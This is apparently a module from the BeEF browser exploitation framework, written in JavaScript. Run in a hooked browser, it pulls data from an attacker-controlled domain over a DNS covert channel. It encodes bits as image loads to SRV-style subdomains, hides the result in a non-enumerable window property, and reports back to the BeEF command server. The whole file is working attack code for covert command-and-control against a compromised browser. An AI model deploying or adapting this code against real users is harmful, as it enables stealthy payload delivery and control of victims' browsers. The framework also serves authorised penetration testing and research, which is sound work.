124 lines
4.2 KiB
JavaScript
124 lines
4.2 KiB
JavaScript
//
|
|
// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
|
|
// Browser Exploitation Framework (BeEF) - https://beefproject.com
|
|
// See the file 'doc/COPYING' for copying permission
|
|
//
|
|
|
|
/*
|
|
This JavaScript retrieves data from a server via DNS covert channel.
|
|
|
|
A remote controlled domain with a custom DNS server implementing covert channel logic is required.
|
|
BeEF supports this feature via Server-to-Client DNS Tunnel extension.
|
|
|
|
The initial concept of the DNS covert channel and its implementation are described in the following literature:
|
|
- K.Born. Browser-Based Covert Data Exfiltration. http://arxiv.org/ftp/arxiv/papers/1004/1004.4357.pdf
|
|
- W. Alcorn,C. Frichot, M.Orru. The Browser Hacker's Handbook. ISBN-13: 978-1118662090, ISBN-10: 1118662091
|
|
|
|
*/
|
|
beef.execute(function() {
|
|
|
|
var payload_name = "<%= @payload_name %>";
|
|
var domain = "<%= @zone %>";
|
|
var scheme = beef.net.httpproto;
|
|
var port = beef.net.port;
|
|
var cid = "<%= @command_id %>";
|
|
var curl = "<%= @command_url %>";
|
|
|
|
var messages = new Array();
|
|
var bits = new Array();
|
|
var bit_transfered = new Array();
|
|
var timing = new Array();
|
|
|
|
// Do the DNS query by requesting an image
|
|
send_query = function(fqdn, msg, byte, bit) {
|
|
var img = new Image;
|
|
var fport = "";
|
|
|
|
if (port !== "80") fport = ":"+port;
|
|
|
|
img.src = scheme+"://" + fqdn + fport + "/tiles/map";
|
|
|
|
img.onload = function() { // successful load so bit equals 1
|
|
bits[msg][bit] = 1;
|
|
bit_transfered[msg][byte]++;
|
|
if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte);
|
|
}
|
|
|
|
img.onerror = function() { // unsuccessful load so bit equals 0
|
|
bits[msg][bit] = 0;
|
|
bit_transfered[msg][byte]++;
|
|
if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte);
|
|
}
|
|
};
|
|
|
|
// Construct DNS names based on Active Directory SRV resource records pattern and resolve them via send_query function
|
|
// See http://technet.microsoft.com/en-us/library/cc961719.aspx
|
|
function get_byte(msg, byte) {
|
|
bit_transfered[msg][byte] = 0;
|
|
var rnd8 = getRandomStr(8);
|
|
var rnd12 = getRandomStr(12);
|
|
// Request the byte one bit at a time
|
|
for(var bit=byte*8; bit < (byte*8)+8; bit++){
|
|
// Set the message number (hex)
|
|
msg_str = ("" + msg.toString(16)).substr(-8);
|
|
// Set the bit number (hex)
|
|
bit_str = ("" + bit.toString(16)).substr(-8);
|
|
// Build the subdomain
|
|
subdomain = "_ldap._tcp." + rnd8 + "-" + msg_str + "-" + cid + "-" + bit_str + "-" + rnd12;
|
|
// Build the full domain
|
|
name = subdomain + '.domains._msdcs.'+ domain;
|
|
send_query(name, msg, byte, bit)
|
|
}
|
|
}
|
|
|
|
// Construct random string
|
|
function getRandomStr(n){
|
|
return Math.random().toString(36).slice(2, 2 + Math.max(1, Math.min(n, 12)));
|
|
}
|
|
|
|
// Build the environment and request the message
|
|
function get_message(msg) {
|
|
// Set variables for getting a message
|
|
messages[msg] = "";
|
|
bits[msg] = new Array();
|
|
bit_transfered[msg] = new Array();
|
|
timing[msg] = (new Date()).getTime();
|
|
get_byte(msg, 0);
|
|
}
|
|
|
|
// Build the data returned from the binary results
|
|
function reconstruct_byte(msg, byte){
|
|
var char = 0;
|
|
// Build the last byte requested
|
|
for(var bit=byte*8; bit < (byte*8)+8; bit++){
|
|
char <<= 1;
|
|
char += bits[msg][bit] ;
|
|
}
|
|
|
|
// Message is terminated with a null byte (all failed DNS requests)
|
|
if (char != 0) {
|
|
// The message isn't terminated so get the next byte
|
|
messages[msg] += String.fromCharCode(char);
|
|
get_byte(msg, byte+1);
|
|
}
|
|
else {
|
|
// The message is terminated so finish
|
|
delta = ((new Date()).getTime() - timing[msg])/1000;
|
|
bytes_per_second = "" +
|
|
((messages[msg].length + 1) * 8)/delta;
|
|
|
|
// Save the message in the Window
|
|
if (window.hasOwnProperty(payload_name))
|
|
window[payload_name] = messages[msg]
|
|
else
|
|
Object.defineProperty(window,payload_name, { value: messages[msg],
|
|
writable: true,
|
|
enumerable: false });
|
|
|
|
beef.net.send(curl, parseInt(cid),'s2c_dns_tunnel=true' + '&bps=' + bytes_per_second);
|
|
|
|
}
|
|
}
|
|
get_message(0);
|
|
});
|